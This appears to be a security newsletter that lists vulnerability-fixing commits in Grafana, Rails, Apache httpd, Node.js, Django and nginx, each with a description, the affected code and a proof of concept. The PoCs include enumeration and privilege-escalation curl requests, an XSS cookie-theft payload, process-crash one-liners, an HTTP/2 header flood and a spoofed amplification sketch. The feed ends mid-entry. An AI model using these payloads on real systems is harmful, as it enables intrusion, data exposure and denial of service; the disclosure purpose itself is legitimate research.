📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Saturday, June 27, 2026

📋 Today’s Briefing

259
Total Findings
71
Confirmed CVEs
129
Verified
0
Unverified
59
False Positives
CRITICAL: 3 HIGH: 107 MEDIUM: 78 LOW: 12
71 CVE matched
56 found before CVE
2 avg lead (days)
27 max lead (days)

⚠️ MEDIUM VERIFIED Information Disclosure / Unauthenticated Enumeration

May 27, 2026, 05:52 PM — grafana/grafana

Commit: fbbb8162d4f25903a5e1da1218efcaf5699cd38a

Author: Roberto Jiménez Sánchez

The webhook endpoint's `Authorize` method returns `DecisionAllow` unconditionally (to allow anonymous GitHub webhook delivery), and the endpoint previously accepted both GET and POST methods. This allowed unauthenticated callers to use the GET method to enumerate repository existence and webhook configuration state by observing different HTTP response codes (404 for non-existent repos, 400 for repos without webhooks, 401 for repos with webhooks when HMAC validation fails). The patch removes GET from `ConnectMethods()` so only POST is accepted.

🔍 View Affected Code & PoC

Affected Code

func (*webhookConnector) ConnectMethods() []string {
	return []string{
		http.MethodPost,
		http.MethodGet, // only useful for browser testing, should be removed
	}
}

Proof of Concept

# Unauthenticated repository enumeration via webhook GET endpoint:

# Check if a repository exists (returns 404 if not, different code if it does):
curl -s -o /dev/null -w "%{http_code}" https://grafana-instance/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/nonexistent-repo/webhook
# Returns: 404

curl -s -o /dev/null -w "%{http_code}" https://grafana-instance/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/existing-repo-no-webhook/webhook
# Returns: 400 (repo exists but no webhook configured)

curl -s -o /dev/null -w "%{http_code}" https://grafana-instance/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/existing-repo-with-webhook/webhook
# Returns: 401 (repo exists and has webhook, HMAC validation fails)
# This allows unauthenticated callers to enumerate all repository names and their webhook states.

⚠️ MEDIUM VERIFIED Security Token Reuse / Confused Deputy

May 27, 2026, 05:42 PM — grafana/grafana

Commit: 4d13e75a81c167e6bcb7eacb421c5c18ee549ac2

Author: Daniele Stefano Ferru

Before the patch, when a user updated a repository's URL, the system would automatically copy the existing stored authentication token to the new repository configuration (via CopySecureValues) without requiring a new token. This allowed an attacker or unauthorized user to pivot a repository's URL to a different target while reusing a valid stored token, potentially using the Grafana instance's credentials to authenticate against an attacker-controlled or unintended repository. The patch adds a check that rejects update operations where the URL changes but no new token is provided.

🔍 View Affected Code & PoC

Affected Code

if a.GetOldObject() != nil {
    if oldRepo, ok := a.GetOldObject().(*provisioning.Repository); ok {
        CopySecureValues(r, oldRepo)  // copies token unconditionally, even if URL changed
    }
}

Proof of Concept

1. Admin creates a repository pointing to https://github.com/org/legit-repo with a valid token stored as a secret.
2. Attacker (or malicious admin) issues a PATCH/PUT request: PUT /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/myrepo with body: {"spec":{"github":{"url":"https://github.com/attacker/evil-repo"}}} and omits the secure.token field.
3. Before the patch, CopySecureValues would copy the existing stored token into the updated config, causing Grafana to authenticate to https://github.com/attacker/evil-repo using the organization's stored token.
4. This leaks the token's capabilities to an attacker-controlled endpoint or allows syncing from an untrusted source using trusted credentials.

🔥 HIGH VERIFIED Authentication Bypass / Exception-based Auth Bypass

May 27, 2026, 03:08 PM — rails/rails

Commit: c450a13f41b19916dfea95768a0163fd46be09af

Author: Andrii Furmanets

Before the patch, the Mailgun ingress authentication code passed the `signature` parameter directly to `ActiveSupport::SecurityUtils.secure_compare` without validating it was a string. When an attacker sends `signature\[\]` as an array parameter (standard Rails array parameter syntax), `secure_compare` raises an exception rather than returning false, causing the authentication check to fail with an unhandled error (500) instead of returning 401 Unauthorized. While this doesn't directly bypass authentication, it disrupts the ingress and could be used to prevent legitimate email processing or probe the endpoint. The fix adds a `signature.is_a?(String)` check before calling `secure_compare`.

🔍 View Affected Code & PoC

Affected Code

def signed?
  ActiveSupport::SecurityUtils.secure_compare signature, expected_signature
end

Proof of Concept

POST /rails/action_mailbox/mailgun/inbound_emails/mime HTTP/1.1
Content-Type: application/x-www-form-urlencoded

timestamp=1539112500&token=7VwW7k6Ak7zcTwoSoNm7aTtbk1g67MKAnsYLfUB7PdszbgR5Xi&signature[]=ef24c5225322217bb065b80bb54eb4f9206d764e3e16abab07f0a64d1cf477cc&body-mime=...

Result before patch: 500 Internal Server Error (secure_compare raises TypeError/ArgumentError on non-string input)
Result after patch: 401 Unauthorized

🔥 HIGH VERIFIED Broken Access Control / Privilege Escalation

May 27, 2026, 12:56 PM — grafana/grafana

Commit: 940ac768a8d698de14b6abb4dbf36ef1c8521046

Author: Daniele Stefano Ferru

The provisioning files API only checked permissions on the resource's current database location when updating an existing resource, but never verified permissions on the destination folder when moving a resource to a different path. This allowed a user with write access to folder A to move any resource into folder B (which they have no access to) simply by writing the file to folder B's path via the provisioning files API. The patch adds a dual permission check: both the source (existing DB location) and destination folder must be authorized before a cross-folder move is permitted.

🔍 View Affected Code & PoC

Affected Code

folder := parsed.Meta.GetFolder()
if parsed.Existing != nil {
    if meta, err := utils.MetaAccessor(parsed.Existing); err == nil && meta != nil {
        folder = meta.GetFolder()
    }
}

Proof of Concept

# Attacker is Viewer-role user with explicit Admin grant on folder innerA only.
# Dashboard 'cross-folder-dash' currently lives in innerA.
# Attacker PUTs the same dashboard JSON to innerB's path:

curl -u viewer:viewerpassword -X PUT \
  'http://grafana/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/myrepo/files/innerB/cross-folder-dash.json' \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"dashboard.grafana.app/v0alpha1","kind":"Dashboard","metadata":{"name":"cross-folder-dash"},"spec":{"title":"Moved"}}'  

# Before patch: authorization only checks innerA (attacker has access) → dashboard silently moved to innerB.
# After patch: authorization also checks innerB (attacker has no access) → request denied with 403.

⚠️ MEDIUM VERIFIED Authorization Bypass

May 27, 2026, 11:53 AM — grafana/grafana

Commit: 09d9dc305d2b45a18a4e8307d6f80095ab8c2220

Author: Ryan McKinley

Before the patch, the apistore client had a no-op optimization that skipped the update call to unified storage entirely when the request body bytes were identical to the existing resource. This meant that permission/RBAC checks were never performed for no-op updates, allowing users without write permissions to receive a 200 OK response when sending a PUT/PATCH with identical bytes. The patch moves the no-op check to the server side, where RBAC is enforced even when the bytes are unchanged.

🔍 View Affected Code & PoC

Affected Code

// Only update (for real) if the bytes have changed
var rv uint64
req.Value = v.raw.Bytes()
if !bytes.Equal(req.Value, existingBytes) {
    req.ResourceVersion = readResponse.ResourceVersion
    updateResponse, err := s.store.Update(ctx, req)

Proof of Concept

1. Admin creates a resource (e.g., a folder) via PUT /apis/folder.grafana.app/v0alpha1/namespaces/default/folders/my-folder
2. A Viewer (unprivileged user without write permissions) sends PUT /apis/folder.grafana.app/v0alpha1/namespaces/default/folders/my-folder with the exact same bytes as the current resource body.
3. Before the patch: server returns HTTP 200 OK instead of 403 Forbidden, because the client-side bytes.Equal check short-circuits the update and skips the RBAC check entirely.
4. After the patch: server returns HTTP 403 Forbidden because RBAC is checked on the server side even for no-op updates.

🔥 HIGH VERIFIED Broken Access Control / Missing Authorization

May 27, 2026, 10:05 AM — grafana/grafana

Commit: ec005b8490292307ba63ed9f073c06dd54a915cb

Author: Mihai Doarna

Before this patch, the `authzLimitedClient` allowlist did not include `iam.grafana.app/users`, meaning RBAC enforcement was not applied to user search queries in unified storage. A user with any access to the search endpoint could retrieve all users without having the appropriate scoped permissions, bypassing access control restrictions. The patch adds `iam.grafana.app/users` to the allowlist so that RBAC is enforced when filtering user search results.

🔍 View Affected Code & PoC

Affected Code

allowlist: groupResource{
    "dashboard.grafana.app": map[string]interface{}{"dashboards": nil},
    "folder.grafana.app":    map[string]interface{}{"folders": nil},
},

Proof of Concept

An authenticated user with only scoped `users:read` permission (e.g., permission scoped to a single user by UID) calls:

  GET /api/users/search?perpage=100

Before the patch (Mode5/unified storage), the authzLimitedClient does not enforce RBAC on iam.grafana.app/users, so the filter is bypassed and all users are returned. After the patch, only the user(s) the caller has explicit permission to see are returned.

⚠️ MEDIUM VERIFIED Security Control Bypass

May 27, 2026, 09:37 AM — apache/httpd

Commit: 47d3100b252dc6668a9e46ae885242be9eeca9cd

Author: Stefan Eissing

In HTTP/2, cookie headers are sent as separate HPACK header fields and merged by mod_http2 into a single Cookie header. Before this patch, when multiple cookie headers were received in an HTTP/2 request, only the first one counted against LimitRequestFields, while subsequent ones were silently merged without incrementing the field count. This allowed an attacker to bypass the LimitRequestFields directive (which protects against DoS via excessive headers) by sending many cookie headers in a single HTTP/2 request. The patch fixes this by setting *pwas_added = 1 for each merged cookie, ensuring each cookie counts against the limit.

🔍 View Affected Code & PoC

Affected Code

apr_table_setn(headers, "Cookie",
               apr_psprintf(pool, "%s; %.*s", existing,
                            (int)nv->valuelen, nv->value));
return APR_SUCCESS;

Proof of Concept

Send an HTTP/2 request with thousands of cookie headers to bypass LimitRequestFields:

`​`​`​python
import h2.connection, h2.config, h2.events, socket, ssl

# Connect to Apache server with mod_http2
# Send HTTP/2 request with 10000 cookie headers
headers = [
    (':method', 'GET'),
    (':path', '/'),
    (':scheme', 'https'),
    (':authority', 'target.example.com'),
]
# Add 10000 separate cookie headers (LimitRequestFields default is 100)
for i in range(10000):
    headers.append(('cookie', f'name{i}=value{i}'))

# HTTP/2 allows multiple cookie headers per RFC 7540 Section 8.1.2.5
# Before the patch, only the first cookie counted against LimitRequestFields
# so this would bypass a LimitRequestFields 100 directive and potentially
# cause excessive memory/CPU consumption on the server.
`​`​`​
This bypasses the Apache LimitRequestFields protection intended to limit request header count and prevent DoS attacks.

⚠️ MEDIUM VERIFIED Denial of Service (Segmentation Fault / Crash)

May 27, 2026, 08:13 AM — nodejs/node

Commit: fda667a6c899e6ad741fe08603991fabf2fbe96d

Author: Mohamed Sayed

The `Storage.prototype.length` getter in Node.js webstorage lacked a V8 Signature check, allowing it to be called with any `this` value. When called with an incompatible receiver (e.g., `Storage.prototype` itself or any non-Storage object), the C++ callback `StorageLengthGetter` would proceed to call `Storage::Length()` on an invalid/null SQLite handle, causing a segmentation fault and crashing the Node.js process. The fix adds a `v8::Signature` bound to the Storage constructor template so V8 rejects incompatible receivers with a TypeError before the C++ code runs.

🔍 View Affected Code & PoC

Affected Code

Local<FunctionTemplate> length_getter =
    FunctionTemplate::New(isolate, StorageLengthGetter);

Proof of Concept

node -e 'globalThis.sessionStorage.setItem.length;globalThis.Storage.prototype.length'
# Results in: [1] segmentation fault (core dumped)

🔥 HIGH VERIFIED XSS (Cross-Site Scripting)

May 27, 2026, 04:32 AM — grafana/grafana

Commit: 97ea75b9a11f1feb719973052b1c865e868aa9db

Author: Alex Khomenko

The `FolderReadmePanel.tsx` component rendered markdown content using `dangerouslySetInnerHTML` after processing it through `rewriteRelativeMarkdownLinks()`, which performs DOM manipulation that can mutate sanitized HTML into executable content (mXSS). The patch adds a second `textUtil.sanitize()` (DOMPurify) call after the DOM round-trip to re-sanitize the HTML before injection. Additionally, server-sourced URLs in `PullRequestButtons.tsx`, `RepositoryActions.tsx`, `RepositoryOverview.tsx`, and `ResourceTreeView.tsx` were passed directly to `LinkButton`/`window.open` without sanitization, allowing `javascript:` protocol URLs from a malicious server response to execute arbitrary JavaScript.

🔍 View Affected Code & PoC

Affected Code

const pullRequestURL = urls?.newPullRequestURL;
const compareURL = urls?.compareURL;
const branchURL = urls?.sourceURL;
// Then used directly in <LinkButton href={branchURL}> etc.

Proof of Concept

1. mXSS: A README containing `<div><svg><style><img src=x onerror=alert(document.cookie)></style></svg></div>` - after renderMarkdown() sanitizes it, rewriteRelativeMarkdownLinks() does a DOM parse-serialize round trip that can cause browsers to reinterpret the SVG context and expose the img onerror handler, executing arbitrary JS.
2. javascript: URL: If the provisioning API returns `{"newPullRequestURL": "javascript:alert(document.cookie)"}`, clicking the 'Open pull request' LinkButton would execute `alert(document.cookie)` in the user's browser context.

🔥 HIGH VERIFIED Authorization Bypass

May 26, 2026, 02:59 PM — grafana/grafana

Commit: 51a459e8ee0db213a7048f405d00e29b63f8fc10

Author: Rafael Bortolon Paulovic

The Watch RPC in Grafana's Unified Storage compiled an ItemChecker for per-item authorization and applied it to streamed events, but the initial-events backfill path (when SendInitialEvents=true) emitted every item from the backend without consulting the checker. This allowed any user who could issue a Watch request with SendInitialEvents=true to receive all resources in the namespace, regardless of per-item folder-based authorization restrictions. The patch adds `if !checker(iter.Name(), iter.Folder()) { continue }` inside the ListIterator callback so backfill honors the same per-item authorization as the live event stream.

🔍 View Affected Code & PoC

Affected Code

if err := iter.Error(); err != nil {
    return err
}
if err := srv.Send(&resourcepb.WatchEvent{
    Type: resourcepb.WatchEvent_ADDED,

Proof of Concept

A user with access only to 'folder-a' but not 'folder-b' sends a Watch request with SendInitialEvents=true:

client.Watch(ctx, &resourcepb.WatchRequest{
  Options: &resourcepb.ListOptions{
    Key: &resourcepb.ResourceKey{Group: "playlist.grafana.app", Resource: "playlists", Namespace: "default"},
  },
  SendInitialEvents: true,
})

Before the patch, the backfill loop would emit ADDED events for ALL resources including those in 'folder-b' that the user is not authorized to see, leaking resource data across folder authorization boundaries.

🔥 HIGH VERIFIED Process Crash / Denial of Service via SIGABRT

May 26, 2026, 09:25 AM — nodejs/node

Commit: 339339986d9ae27cdcde5780d6395712cb834010

Author: Jordan Harband

Passing `-0` as the `keylen` argument to `crypto.pbkdf2()`, `crypto.pbkdf2Sync()`, `crypto.scrypt()`, or `crypto.scryptSync()` bypasses the `validateInt32` check (since `-0 &lt; 0` is `false` in JavaScript) and reaches the native C++ binding. V8 boxes `-0` as a HeapNumber rather than a tagged SMI, causing the binding's `IsInt32()` assertion to fail and aborting the entire Node.js process with SIGABRT. This is reachable from any code that passes user-controlled or JSON-parsed values as `keylen`, making it a remotely-triggerable denial-of-service. The fix coerces `-0` to `+0` with `keylen += 0` after validation.

🔍 View Affected Code & PoC

Affected Code

validateInt32(keylen, 'keylen', 0);

return { password, salt, iterations, keylen, digest };

Proof of Concept

// Run in Node.js (before patch) - crashes the entire process with SIGABRT
const crypto = require('crypto');
// JSON.parse preserves -0, simulating attacker-controlled input
const params = JSON.parse('{"keylen":-0}');
crypto.pbkdf2Sync('password', 'salt', 1, params.keylen, 'sha256');
// Process aborts with: FATAL ERROR or SIGABRT from IsInt32() check in native binding

// Also triggerable via scrypt:
crypto.scryptSync('password', 'salt', -0);
// Both crash the Node.js process, enabling DoS of any Node.js application using these APIs with user-supplied keylen values
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48913 Use-After-Free

May 26, 2026, 07:42 AM — apache/httpd

📈 Patch landed 13 days 10 hours 49 minutes before CVE published

Commit: 0029bba2a457f0e15cd5fef7c1ae9fbb8e54d55c

Author: Stefan Eissing

In mod_http2's `c2_setup_io` function, beam bucket callbacks (referencing `c2` connection object) were registered before pipe creation. If pipe creation failed (e.g., due to file descriptor exhaustion), the callbacks remained registered with references to the `c2` object that would subsequently be freed/invalidated during cleanup. The fix moves callback registration to after successful pipe creation, ensuring callbacks are only set when the setup succeeds and are not left dangling on failure paths.

🔍 View Affected Code & PoC

Affected Code

if (stream->input) {
        conn_ctx->beam_in = stream->input;
        h2_beam_on_send(stream->input, c2_beam_input_write_notify, c2);
        h2_beam_on_received(stream->input, c2_beam_input_read_notify, c2);
        h2_beam_on_consumed(stream->input, c1_input_consumed, stream);
#if H2_USE_PIPES

Proof of Concept

1. Configure a system with a low file descriptor limit (e.g., `ulimit -n 64` or a heavily loaded server near fd exhaustion)
2. Send an HTTP/2 POST request with a request body (upload) to Apache httpd with mod_http2 enabled
3. When `apr_file_pipe_create_pools()` fails due to EMFILE/ENFILE, the function jumps to `cleanup`
4. The beam callbacks (`c2_beam_input_write_notify`, `c2_beam_input_read_notify`, `c1_input_consumed`) remain registered pointing to the now-freed/recycled `c2` connection object
5. When the beam subsequently fires these callbacks (e.g., as data arrives on the input beam), it dereferences the stale `c2` pointer, leading to use-after-free memory corruption that could crash the server or potentially be leveraged for code execution

Trigger: `curl -k --http2 -X POST -d @largefile.dat https://target/upload` on a system near fd limit

🔥 HIGH VERIFIED Missing Certificate Hostname Verification (Improper Certificate Validation)

May 25, 2026, 02:14 AM — nodejs/node

Commit: 2e3daf6e4dd50e3f4f279f443acaf727fd817ca8

Author: James M Snell

Before this patch, the Node.js QUIC implementation did not call SSL_set1_host() to enable OpenSSL's hostname verification against the server certificate's SAN/CN fields. This meant that a QUIC client in 'strict' or 'auto' verifyPeer modes would accept any valid certificate (signed by a trusted CA) regardless of which hostname it was issued for, enabling man-in-the-middle attacks. The patch adds SSL_set1_host() calls via a new set_verify_hostname() method, ensuring the server's certificate actually matches the intended servername.

🔍 View Affected Code & PoC

Affected Code

// Before patch: verifyHostname option did not exist
// In processSessionOptions, only verifyPeerStrict was set:
verifyPeerStrict: verifyPeer === 'strict',
// No verifyHostname field — SSL_set1_host() was never called

Proof of Concept

// Attacker scenario: MitM attack against a QUIC client connecting to example.com
// 1. Attacker obtains a valid TLS cert for attacker.com (trusted CA signed)
// 2. Attacker intercepts the QUIC connection
// 3. Before patch: the client accepts attacker.com's cert when connecting to example.com
//    because hostname verification (SSL_set1_host) was never configured
// Node.js code that would be vulnerable (before patch):
const { QuicEndpoint } = require('node:quic');
const endpoint = new QuicEndpoint();
// Connect to example.com:443 with verifyPeer='strict'
// Before patch: connection succeeds even if server presents cert for attacker.com
// (as long as it's signed by a trusted CA), allowing full MitM
const session = await endpoint.connect({
  address: 'attacker-controlled-ip',
  port: 443,
  servername: 'example.com',
  verifyPeer: 'strict',
});
// Would succeed with attacker.com certificate before patch

⚠️ MEDIUM VERIFIED Connection Hijacking / Data Exfiltration via QUIC Preferred Address

May 25, 2026, 02:14 AM — nodejs/node

Commit: 444ba160e3581b28762d1d456dd6d7fc86de5d18

Author: James M Snell

The default policy for QUIC preferred address handling was 'use' (or mapped to USE_PREFERRED), meaning clients would automatically migrate their connection to whatever IP address a server advertised as its preferred address. A malicious server could advertise a preferred address pointing to an attacker-controlled host, causing the client to redirect its QUIC connection traffic to that address — enabling data exfiltration that is indistinguishable from legitimate QUIC connection migration at the network level. The patch changes the default to 'ignore', so clients only migrate when explicitly configured to do so with preferredAddressPolicy: 'use'.

🔍 View Affected Code & PoC

Affected Code

preferredAddressPolicy = 'default',
// and in preferredaddress.cc:
static constexpr auto DEFAULT_PREFERRED_ADDRESS_POLICY =
    static_cast<uint8_t>(Policy::USE_PREFERRED);

Proof of Concept

// Attacker sets up a malicious QUIC server that advertises a preferred address
// pointing to an attacker-controlled endpoint:
// 1. Victim connects to legitimate-looking server (e.g., port 443)
// 2. Server responds with preferred_addr transport parameter pointing to attacker's IP
// 3. With the old default ('use'), the Node.js QUIC client automatically migrates
//    to the attacker's address, sending all subsequent application data there
//
// Example: attacker server sends ngtcp2_transport_params with:
//   params.preferred_addr_present = 1;
//   params.preferred_addr.ipv4_present = 1;
//   // attacker IP: 192.168.1.100:9999
//   memcpy(&params.preferred_addr.ipv4, attacker_addr, sizeof(sockaddr_in));
//
// Node.js client (before patch) with default settings:
const clientSession = await connect(serverEndpoint.address, {
  // no preferredAddressPolicy specified - defaults to 'use' (old behavior)
  // client will automatically follow server's preferred address to attacker's IP
});

⚠️ MEDIUM VERIFIED HTTP Response Splitting

May 22, 2026, 02:57 PM — django/django

Commit: 53645750412efa1e9013004040db328bd515e0f1

Author: Varun Kasyap

The `reason_phrase` setter in Django's `HttpResponseBase` class did not validate or sanitize control characters, allowing an attacker to inject arbitrary HTTP headers via carriage return (\\r) and newline (\\n) characters in the reason phrase. This is an HTTP Response Splitting vulnerability where a crafted reason phrase could inject additional headers or manipulate the HTTP response structure. The patch adds a regex check that raises `BadHeaderError` when control characters are detected in the reason phrase.

🔍 View Affected Code & PoC

Affected Code

@reason_phrase.setter
def reason_phrase(self, value):
    self._reason_phrase = value

Proof of Concept

from django.http import HttpResponse
# Before the patch, this would create a response with injected headers:
resp = HttpResponse(reason='OK\r\nX-Injected-Header: malicious-value\r\nX-Another: injected')
# The raw HTTP response would contain:
# HTTP/1.1 200 OK
# X-Injected-Header: malicious-value
# X-Another: injected
# ... legitimate headers follow
# Attacker can inject arbitrary headers or even split the response body
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-9256 Heap Buffer Overflow

May 22, 2026, 02:55 PM — nginx/nginx

📈 Patch landed 3 days 22 hours 35 minutes before CVE published

Commit: ca4f92a27464ae6c2082245e4f67048c633aa032

Author: Roman Arutyunyan

In nginx's rewrite module, when a rewrite replacement string had no variables but contained overlapping captures (e.g., ^/((.*))$ with $1$2), the buffer length calculation was incorrect. The old code calculated escape overhead for the entire URI rather than per-capture, and failed to account for overlapping captures properly, resulting in a heap buffer that was too small for the actual replacement string. This allowed a specially crafted URI to trigger a heap buffer overflow when nginx performed the rewrite.

🔍 View Affected Code & PoC

Affected Code

if (code->uri) {
            if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
                e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                                 NGX_ESCAPE_ARGS);
            }
        }

Proof of Concept

With nginx config:
  location / {
      rewrite ^/((.*))$ http://127.0.0.1:8080/$1$2 redirect;
      return 200 foo;
  }

Send: GET /++++++++++++++++++++++++++++++ HTTP/1.1
Host: localhost

The URI contains '+' characters which trigger the plus_in_uri path. With overlapping captures ^/((.*))$, both $1 and $2 capture the same content (the +++ string). The old code added escape overhead only once for the whole URI, but the loop then adds each capture's length independently. With 30 '+' characters, each capture adds 30 bytes but escape adds 60 bytes only once instead of 60*2=120 bytes, causing a ~60-byte heap buffer overflow when writing the replacement string.

🔥 HIGH VERIFIED Use-After-Free

May 21, 2026, 09:16 PM — nodejs/node

Commit: b621fb3a18543282277c544e56824dcd1c38a531

Author: James M Snell

The patch fixes multiple use-after-free (UAF) vulnerabilities in Node.js's QUIC implementation. The most concrete UAF is in streams.cc: after EmitClose triggers a JavaScript callback via MakeCallback, JS re-entrancy could destroy the Session object, but the code would still call session-&gt;RemoveStream(id()) on the potentially-destroyed session (with a null impl_). Additionally, in bindingdata.cc, the uv_check_t handle was closed inline with uv_close() passing nullptr as the callback, meaning libuv could access the handle's memory after BindingData was destroyed during Environment cleanup. The patch introduces CheckWrap/CheckWrapHandle with proper deferred cleanup via uv_close callback.

🔍 View Affected Code & PoC

Affected Code

if (session) session->RemoveStream(id());
// In bindingdata destructor:
  uv_check_stop(&flush_check_);
  uv_close(reinterpret_cast<uv_handle_t*>(&flush_check_), nullptr);
  flush_check_initialized_ = false;

Proof of Concept

// Trigger the UAF in streams.cc:
// 1. Create a QUIC server and client
// 2. Open a stream
// 3. In the stream 'close' event handler (which is triggered by EmitClose/MakeCallback),
//    synchronously destroy the Session object (e.g., session.close() or connection abort)
// 4. After the JS callback returns, the C++ code executes: if (session) session->RemoveStream(id())
//    At this point session->impl_ is null (destroyed), causing a null pointer dereference / UAF
// The session BaseObjectPtr keeps the Session BaseObject alive but impl_ is reset,
// so session->RemoveStream() dereferences the null impl_ pointer, causing crash/memory corruption.
// Example: server stream 'close' callback calls session.close() synchronously,
// then C++ accesses session->RemoveStream() on a session with null impl_.

🔥 HIGH VERIFIED Use-After-Free (UAF)

May 21, 2026, 09:16 PM — nodejs/node

Commit: 5b3c053ed71d692773a2cc8de31ad47940727f18

Author: James M Snell

A Use-After-Free vulnerability existed in the QUIC Session::OnTimeout() function. When SendPendingData's scope guard called UpdateTimer(), it could synchronously re-enter OnTimeout(), which could trigger FinishClose → EmitClose → Destroy → impl_.reset() → ~Impl → RemoveSession(), dropping the last BaseObjectPtr from the endpoint map and freeing the Session object. The outer OnTimeout/SendPendingData frames would then continue operating on the freed memory. The fix adds a strong reference (BaseObjectPtr) to keep the Session alive for the duration of the operation.

🔍 View Affected Code & PoC

Affected Code

void Session::OnTimeout() {
  if (is_destroyed()) return;
  if (!impl_->application_) return;
  HandleScope scope(env()->isolate());

Proof of Concept

A QUIC client can trigger this by establishing a QUIC session and then manipulating timing conditions such that the QUIC timeout fires and causes re-entrant destruction. For example, a malicious QUIC peer that sends a CONNECTION_CLOSE frame at the exact moment a timer expires can trigger the re-entrant path: Session::OnTimeout() → SendPendingData() → scope_guard → UpdateTimer() → OnTimeout() → FinishClose() → Destroy() → (Session freed) → return to outer OnTimeout() which now uses freed Session memory. In a Node.js server: create a QUIC server, have a client connect, then have the client immediately close the connection in a way that races with the server's idle timeout, causing the UAF when the freed Session's vtable/members are accessed after destruction.

🔥 HIGH VERIFIED Resource Exhaustion / Denial of Service

May 21, 2026, 09:16 PM — nodejs/node

Commit: 4eae6f10af51d824160542d7574eb72367ac2c33

Author: James M Snell

Before the patch, the QUIC endpoint had no default limits on connections (maxConnectionsPerHost=0 and maxConnectionsTotal=0, meaning unlimited), and the handshake timeout defaulted to UINT64_MAX (effectively infinite). An attacker could initiate a large number of QUIC handshakes from many IP addresses or a single IP, consuming server resources (ngtcp2 connections, TLS state, JS objects) indefinitely without ever completing the handshake. The patch adds a default handshake timeout of 10 seconds and default connection limits of 100 per host and 10,000 total to bound resource exposure.

🔍 View Affected Code & PoC

Affected Code

maxConnectionsPerHost = 0,
maxConnectionsTotal = 0,
...
uint64_t handshake_timeout = UINT64_MAX;

Proof of Concept

// Attacker script: open thousands of QUIC connections without completing handshake
for (let i = 0; i < 100000; i++) {
  const conn = net.createUDPSocket();
  // Send QUIC Initial packet to server to initiate handshake, then stop responding
  // Each incomplete handshake holds server resources indefinitely with no timeout
  conn.send(craftQUICInitialPacket(), serverPort, serverHost);
}
// Server accumulates 100,000 half-open QUIC sessions consuming memory and CPU
// with no timeout to clean them up (handshake_timeout=UINT64_MAX) and no limit
// on concurrent connections (maxConnectionsTotal=0)

🔥 HIGH VERIFIED Amplification Attack / Resource Exhaustion (DoS)

May 21, 2026, 09:16 PM — nodejs/node

Commit: befc5f934b69fe73b5fefafec1c93b6a0463b3ae

Author: James M Snell

Before this patch, the QUIC endpoint had no rate limiting on version negotiation packets and immediate connection close packets sent to remote hosts. An attacker could spoof source IP addresses and send packets with unsupported QUIC versions or invalid tokens, causing the server to send large numbers of response packets to victim IPs (amplification attack) or exhaust server resources. The patch adds per-host rate limiting using the existing LRU tracking structure, capping both version negotiation and immediate close responses at 10 per tracked host.

🔍 View Affected Code & PoC

Affected Code

void Endpoint::SendVersionNegotiation(const PathDescriptor& options) {
  // While creating and sending a version negotiation packet does consume a
  // small amount of system resources, and while it is fairly trivial for a
  // malicious peer to force a version negotiation to be sent...
  auto packet = Packet::CreateVersionNegotiationPacket(*this, options);
  if (packet) {
    STAT_INCREMENT(Stats, version_negotiation_count);
    Send(std::move(packet));
  }

Proof of Concept

Attacker sends a flood of UDP packets to the QUIC endpoint with:
1. Source IP spoofed to victim's IP address
2. Unsupported QUIC version numbers in the packet header

Example using raw sockets (pseudocode):
  for i in range(10000):
    send_udp_packet(
      src_ip='victim.ip.address',  # spoofed
      dst_ip='quic.server.ip',
      dst_port=443,
      payload=craft_quic_packet(version=0xdeadbeef)  # unsupported version
    )

Result (before patch): Server sends 10000 version negotiation packets to victim.ip.address (amplification), potentially overwhelming the victim with traffic. Server also wastes CPU/memory generating each response packet with no bound.

🔥 HIGH VERIFIED Denial of Service (Crash via Assertion Failure)

May 21, 2026, 09:16 PM — nodejs/node

Commit: fcddd35095f8d754729527b2b7b300a549db2a20

Author: James M Snell

Before the patch, if a QUIC session was closed during an early handshake failure (before the HTTP/3 application was fully started), the server would call `nghttp3_conn_submit_shutdown_notice` and `nghttp3_conn_shutdown` on an nghttp3 connection whose control streams were never bound. This caused an assertion failure inside nghttp3 (asserting `conn-&gt;tx.ctrl != NULL`), crashing the Node.js process. The fix adds a `started_` guard so these functions are only called after the H3 application has fully initialized its control streams.

🔍 View Affected Code & PoC

Affected Code

void BeginShutdown() override {
    if (conn_) nghttp3_conn_submit_shutdown_notice(*this);
  }

  void CompleteShutdown() override {
    if (conn_) nghttp3_conn_shutdown(*this);
  }

Proof of Concept

// Connect to an HTTP/3 server with h3 ALPN and immediately close before handshake completes:
const { listen, connect } = await import('node:quic');
const serverEndpoint = await listen(async (serverSession) => { await serverSession.closed; }, { sni: { '*': { keys: [key], certs: [cert] } } });
const clientSession = await connect(serverEndpoint.address, { servername: 'localhost' });
await clientSession.close(); // Immediately close — triggers BeginShutdown/CompleteShutdown on server with unbound H3 control streams, causing nghttp3 assertion failure and process crash

🔥 HIGH VERIFIED Security Control Bypass (Read-Only Restriction Bypass)

May 21, 2026, 02:02 PM — rails/rails

Commit: f928d48de850d326e32c3382077817af796a5f29

Author: fatkodima

The `execute_ar` and `run_explain` methods evaluated ActiveRecord expressions outside of a readonly connection context, allowing write operations to bypass the intended read-only restriction. An attacker with access to the `rails query` command could execute destructive AR expressions like `Post.delete_all` or `Post.first.update!(title: 'hacked')` that modify the database. The patch wraps the `eval` calls inside `with_readonly_connection {}` blocks so that any database writes attempted during expression evaluation are rejected.

🔍 View Affected Code & PoC

Affected Code

def execute_ar(expression:, page:, per:)
  result = eval(expression, TOPLEVEL_BINDING, "(query)", 1)

Proof of Concept

# Before the patch, running the following would successfully delete all posts despite the command being advertised as read-only:
rails query "Post.delete_all"
# Or update a record:
rails query 'Post.first.update!(title: "hacked")'
# These writes would succeed because eval() ran outside the readonly connection context, allowing write queries through.

🔥 HIGH VERIFIED Readonly Bypass / Unauthorized Write via ActiveRecord eval

May 21, 2026, 01:52 PM — rails/rails

Commit: 299d2c922661e3fd9f2ed8daa3cf10ea38018e4b

Author: Andy Jeffries

